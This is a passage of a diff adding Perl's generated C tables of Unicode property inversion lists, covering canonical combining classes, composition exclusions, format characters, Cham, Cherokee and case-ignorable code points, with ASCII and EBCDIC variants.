+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF74,
+	0xF75
+};
+
+static const UV PL_CCC__133_invlist[] = { /* for ASCII/Latin1 */
+	0,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+};
+
+static const UV PL_CCC__14_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B4,
+	0x5B5
+};
+
+static const UV PL_CCC__15_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B5,
+	0x5B6
+};
+
+static const UV PL_CCC__16_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B6,
+	0x5B7
+};
+
+static const UV PL_CCC__17_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B7,
+	0x5B8
+};
+
+static const UV PL_CCC__18_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B8,
+	0x5B9,
+	0x5C7,
+	0x5C8
+};
+
+static const UV PL_CCC__19_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B9,
+	0x5BB
+};
+
+static const UV PL_CCC__20_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5BB,
+	0x5BC
+};
+
+static const UV PL_CCC__202_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x321,
+	0x323,
+	0x327,
+	0x329,
+	0x1DD0,
+	0x1DD1
+};
+
+static const UV PL_CCC__21_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5BC,
+	0x5BD
+};
+
+static const UV PL_CCC__214_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1DCE,
+	0x1DCF
+};
+
+static const UV PL_CCC__216_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x31B,
+	0x31C,
+	0xF39,
+	0xF3A,
+	0x1D165,
+	0x1D167,
+	0x1D16E,
+	0x1D173
+};
+
+static const UV PL_CCC__22_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5BD,
+	0x5BE
+};
+
+static const UV PL_CCC__23_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5BF,
+	0x5C0
+};
+
+static const UV PL_CCC__24_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5C1,
+	0x5C2
+};
+
+static const UV PL_CCC__25_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5C2,
+	0x5C3
+};
+
+static const UV PL_CCC__26_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFB1E,
+	0xFB1F
+};
+
+static const UV PL_CCC__27_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x64B,
+	0x64C,
+	0x8F0,
+	0x8F1
+};
+
+static const UV PL_CCC__28_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x64C,
+	0x64D,
+	0x8F1,
+	0x8F2
+};
+
+static const UV PL_CCC__29_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x64D,
+	0x64E,
+	0x8F2,
+	0x8F3
+};
+
+static const UV PL_CCC__30_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x618,
+	0x619,
+	0x64E,
+	0x64F
+};
+
+static const UV PL_CCC__31_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x619,
+	0x61A,
+	0x64F,
+	0x650
+};
+
+static const UV PL_CCC__32_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61A,
+	0x61B,
+	0x650,
+	0x651
+};
+
+static const UV PL_CCC__33_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x651,
+	0x652
+};
+
+static const UV PL_CCC__34_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x652,
+	0x653
+};
+
+static const UV PL_CCC__35_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x670,
+	0x671
+};
+
+static const UV PL_CCC__36_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x711,
+	0x712
+};
+
+static const UV PL_CCC__7_invlist[] = { /* for all charsets */
+	47,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x93C,
+	0x93D,
+	0x9BC,
+	0x9BD,
+	0xA3C,
+	0xA3D,
+	0xABC,
+	0xABD,
+	0xB3C,
+	0xB3D,
+	0xCBC,
+	0xCBD,
+	0x1037,
+	0x1038,
+	0x1B34,
+	0x1B35,
+	0x1BE6,
+	0x1BE7,
+	0x1C37,
+	0x1C38,
+	0xA9B3,
+	0xA9B4,
+	0x110BA,
+	0x110BB,
+	0x11173,
+	0x11174,
+	0x111CA,
+	0x111CB,
+	0x11236,
+	0x11237,
+	0x112E9,
+	0x112EA,
+	0x1133C,
+	0x1133D,
+	0x11446,
+	0x11447,
+	0x114C3,
+	0x114C4,
+	0x115C0,
+	0x115C1,
+	0x116B7,
+	0x116B8,
+	0x11D42,
+	0x11D43,
+	0x1E94A,
+	0x1E94B
+};
+
+static const UV PL_CCC__8_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3099,
+	0x309B
+};
+
+static const UV PL_CCC__84_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC55,
+	0xC56
+};
+
+static const UV PL_CCC__9_invlist[] = { /* for all charsets */
+	97,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x94D,
+	0x94E,
+	0x9CD,
+	0x9CE,
+	0xA4D,
+	0xA4E,
+	0xACD,
+	0xACE,
+	0xB4D,
+	0xB4E,
+	0xBCD,
+	0xBCE,
+	0xC4D,
+	0xC4E,
+	0xCCD,
+	0xCCE,
+	0xD3B,
+	0xD3D,
+	0xD4D,
+	0xD4E,
+	0xDCA,
+	0xDCB,
+	0xE3A,
+	0xE3B,
+	0xF84,
+	0xF85,
+	0x1039,
+	0x103B,
+	0x1714,
+	0x1715,
+	0x1734,
+	0x1735,
+	0x17D2,
+	0x17D3,
+	0x1A60,
+	0x1A61,
+	0x1B44,
+	0x1B45,
+	0x1BAA,
+	0x1BAC,
+	0x1BF2,
+	0x1BF4,
+	0x2D7F,
+	0x2D80,
+	0xA806,
+	0xA807,
+	0xA8C4,
+	0xA8C5,
+	0xA953,
+	0xA954,
+	0xA9C0,
+	0xA9C1,
+	0xAAF6,
+	0xAAF7,
+	0xABED,
+	0xABEE,
+	0x10A3F,
+	0x10A40,
+	0x11046,
+	0x11047,
+	0x1107F,
+	0x11080,
+	0x110B9,
+	0x110BA,
+	0x11133,
+	0x11135,
+	0x111C0,
+	0x111C1,
+	0x11235,
+	0x11236,
+	0x112EA,
+	0x112EB,
+	0x1134D,
+	0x1134E,
+	0x11442,
+	0x11443,
+	0x114C2,
+	0x114C3,
+	0x115BF,
+	0x115C0,
+	0x1163F,
+	0x11640,
+	0x116B6,
+	0x116B7,
+	0x1172B,
+	0x1172C,
+	0x11A34,
+	0x11A35,
+	0x11A47,
+	0x11A48,
+	0x11A99,
+	0x11A9A,
+	0x11C3F,
+	0x11C40,
+	0x11D44,
+	0x11D46
+};
+
+static const UV PL_CCC__91_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC56,
+	0xC57
+};
+
+static const UV PL_CCC__A_invlist[] = { /* for all charsets */
+	221,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x315,
+	0x33D,
+	0x345,
+	0x346,
+	0x347,
+	0x34A,
+	0x34D,
+	0x350,
+	0x353,
+	0x357,
+	0x358,
+	0x35B,
+	0x35C,
+	0x363,
+	0x370,
+	0x483,
+	0x488,
+	0x592,
+	0x596,
+	0x597,
+	0x59A,
+	0x59C,
+	0x5A2,
+	0x5A8,
+	0x5AA,
+	0x5AB,
+	0x5AD,
+	0x5AF,
+	0x5B0,
+	0x5C4,
+	0x5C5,
+	0x610,
+	0x618,
+	0x653,
+	0x655,
+	0x657,
+	0x65C,
+	0x65D,
+	0x65F,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E3,
+	0x6E4,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EB,
+	0x6ED,
+	0x730,
+	0x731,
+	0x732,
+	0x734,
+	0x735,
+	0x737,
+	0x73A,
+	0x73B,
+	0x73D,
+	0x73E,
+	0x73F,
+	0x742,
+	0x743,
+	0x744,
+	0x745,
+	0x746,
+	0x747,
+	0x748,
+	0x749,
+	0x74B,
+	0x7EB,
+	0x7F2,
+	0x7F3,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x8D4,
+	0x8E2,
+	0x8E4,
+	0x8E6,
+	0x8E7,
+	0x8E9,
+	0x8EA,
+	0x8ED,
+	0x8F3,
+	0x8F6,
+	0x8F7,
+	0x8F9,
+	0x8FB,
+	0x900,
+	0x951,
+	0x952,
+	0x953,
+	0x955,
+	0xF82,
+	0xF84,
+	0xF86,
+	0xF88,
+	0x135D,
+	0x1360,
+	0x17DD,
+	0x17DE,
+	0x193A,
+	0x193B,
+	0x1A17,
+	0x1A18,
+	0x1A75,
+	0x1A7D,
+	0x1AB0,
+	0x1AB5,
+	0x1ABB,
+	0x1ABD,
+	0x1B6B,
+	0x1B6C,
+	0x1B6D,
+	0x1B74,
+	0x1CD0,
+	0x1CD3,
+	0x1CDA,
+	0x1CDC,
+	0x1CE0,
+	0x1CE1,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DC2,
+	0x1DC3,
+	0x1DCA,
+	0x1DCB,
+	0x1DCD,
+	0x1DD1,
+	0x1DF6,
+	0x1DFB,
+	0x1DFC,
+	0x1DFE,
+	0x1DFF,
+	0x20D0,
+	0x20D2,
+	0x20D4,
+	0x20D8,
+	0x20DB,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E7,
+	0x20E8,
+	0x20E9,
+	0x20EA,
+	0x20F0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2DE0,
+	0x2E00,
+	0xA66F,
+	0xA670,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA8E0,
+	0xA8F2,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB4,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xFE20,
+	0xFE27,
+	0xFE2E,
+	0xFE30,
+	0x10376,
+	0x1037B,
+	0x10A0F,
+	0x10A10,
+	0x10A38,
+	0x10A39,
+	0x10AE5,
+	0x10AE6,
+	0x11100,
+	0x11103,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x16B30,
+	0x16B37,
+	0x1D185,
+	0x1D18A,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E944,
+	0x1E94A
+};
+
+static const UV PL_CCC__AL_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5AE,
+	0x5AF,
+	0x18A9,
+	0x18AA,
+	0x1DF7,
+	0x1DF9,
+	0x302B,
+	0x302C
+};
+
+static const UV PL_CCC__AR_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x315,
+	0x316,
+	0x31A,
+	0x31B,
+	0x358,
+	0x359,
+	0x1DF6,
+	0x1DF7,
+	0x302C,
+	0x302D
+};
+
+static const UV PL_CCC__B_invlist[] = { /* for all charsets */
+	145,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x316,
+	0x31A,
+	0x31C,
+	0x321,
+	0x323,
+	0x327,
+	0x329,
+	0x334,
+	0x339,
+	0x33D,
+	0x347,
+	0x34A,
+	0x34D,
+	0x34F,
+	0x353,
+	0x357,
+	0x359,
+	0x35B,
+	0x591,
+	0x592,
+	0x596,
+	0x597,
+	0x59B,
+	0x59C,
+	0x5A2,
+	0x5A8,
+	0x5AA,
+	0x5AB,
+	0x5C5,
+	0x5C6,
+	0x655,
+	0x657,
+	0x65C,
+	0x65D,
+	0x65F,
+	0x660,
+	0x6E3,
+	0x6E4,
+	0x6EA,
+	0x6EB,
+	0x6ED,
+	0x6EE,
+	0x731,
+	0x732,
+	0x734,
+	0x735,
+	0x737,
+	0x73A,
+	0x73B,
+	0x73D,
+	0x73E,
+	0x73F,
+	0x742,
+	0x743,
+	0x744,
+	0x745,
+	0x746,
+	0x747,
+	0x748,
+	0x749,
+	0x7F2,
+	0x7F3,
+	0x859,
+	0x85C,
+	0x8E3,
+	0x8E4,
+	0x8E6,
+	0x8E7,
+	0x8E9,
+	0x8EA,
+	0x8ED,
+	0x8F0,
+	0x8F6,
+	0x8F7,
+	0x8F9,
+	0x8FB,
+	0x952,
+	0x953,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xFC6,
+	0xFC7,
+	0x108D,
+	0x108E,
+	0x193B,
+	0x193C,
+	0x1A18,
+	0x1A19,
+	0x1A7F,
+	0x1A80,
+	0x1AB5,
+	0x1ABB,
+	0x1ABD,
+	0x1ABE,
+	0x1B6C,
+	0x1B6D,
+	0x1CD5,
+	0x1CDA,
+	0x1CDC,
+	0x1CE0,
+	0x1CED,
+	0x1CEE,
+	0x1DC2,
+	0x1DC3,
+	0x1DCA,
+	0x1DCB,
+	0x1DCF,
+	0x1DD0,
+	0x1DF9,
+	0x1DFA,
+	0x1DFD,
+	0x1DFE,
+	0x1DFF,
+	0x1E00,
+	0x20E8,
+	0x20E9,
+	0x20EC,
+	0x20F0,
+	0xA92B,
+	0xA92E,
+	0xAAB4,
+	0xAAB5,
+	0xFE27,
+	0xFE2E,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10A0D,
+	0x10A0E,
+	0x10A3A,
+	0x10A3B,
+	0x10AE6,
+	0x10AE7,
+	0x1D17B,
+	0x1D183,
+	0x1D18A,
+	0x1D18C,
+	0x1E8D0,
+	0x1E8D7
+};
+
+static const UV PL_CCC__BL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x302A,
+	0x302B
+};
+
+static const UV PL_CCC__BR_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x59A,
+	0x59B,
+	0x5AD,
+	0x5AE,
+	0x1939,
+	0x193A,
+	0x302D,
+	0x302E
+};
+
+static const UV PL_CCC__DA_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x35D,
+	0x35F,
+	0x360,
+	0x362,
+	0x1DCD,
+	0x1DCE
+};
+
+static const UV PL_CCC__DB_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x35C,
+	0x35D,
+	0x35F,
+	0x360,
+	0x362,
+	0x363,
+	0x1DFC,
+	0x1DFD
+};
+
+static const UV PL_CCC__IS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x345,
+	0x346
+};
+
+static const UV PL_CCC__L_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x302E,
+	0x3030
+};
+
+static const UV PL_CCC__R_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D16D,
+	0x1D16E
+};
+
+static const UV PL_CE_invlist[] = { /* for all charsets */
+	67,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x958,
+	0x960,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB5C,
+	0xB5E,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF76,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x2ADC,
+	0x2ADD,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB20,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB4F,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_CF_invlist[] = { /* for ASCII/Latin1 */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAD,
+	0xAE,
+	0x600,
+	0x606,
+	0x61C,
+	0x61D,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x110BD,
+	0x110BE,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CF_invlist[] = { /* for EBCDIC 1047 */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x600,
+	0x606,
+	0x61C,
+	0x61D,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x110BD,
+	0x110BE,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CF_invlist[] = { /* for EBCDIC 037 */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x600,
+	0x606,
+	0x61C,
+	0x61D,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x110BD,
+	0x110BE,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_CHAM_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA60
+};
+
+static const UV PL_CHER_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0xAB70,
+	0xABC0
+};
+
+static const UV PL_CHEROKEESUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAB70,
+	0xABC0
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_CI_invlist[] = { /* for ASCII/Latin1 */
+	763,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x27,
+	0x28,
+	0x2E,
+	0x2F,
+	0x3A,
+	0x3B,
+	0x5E,
+	0x5F,
+	0x60,
+	0x61,
+	0xA8,
+	0xA9,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB5,
+	0xB7,
+	0xB9,
+	0x2B0,
+	0x370,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x483,
+	0x48A,
+	0x559,
+	0x55A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5F4,
+	0x5F5,
+	0x600,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x640,
+	0x641,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x816,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x971,
+	0x972,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
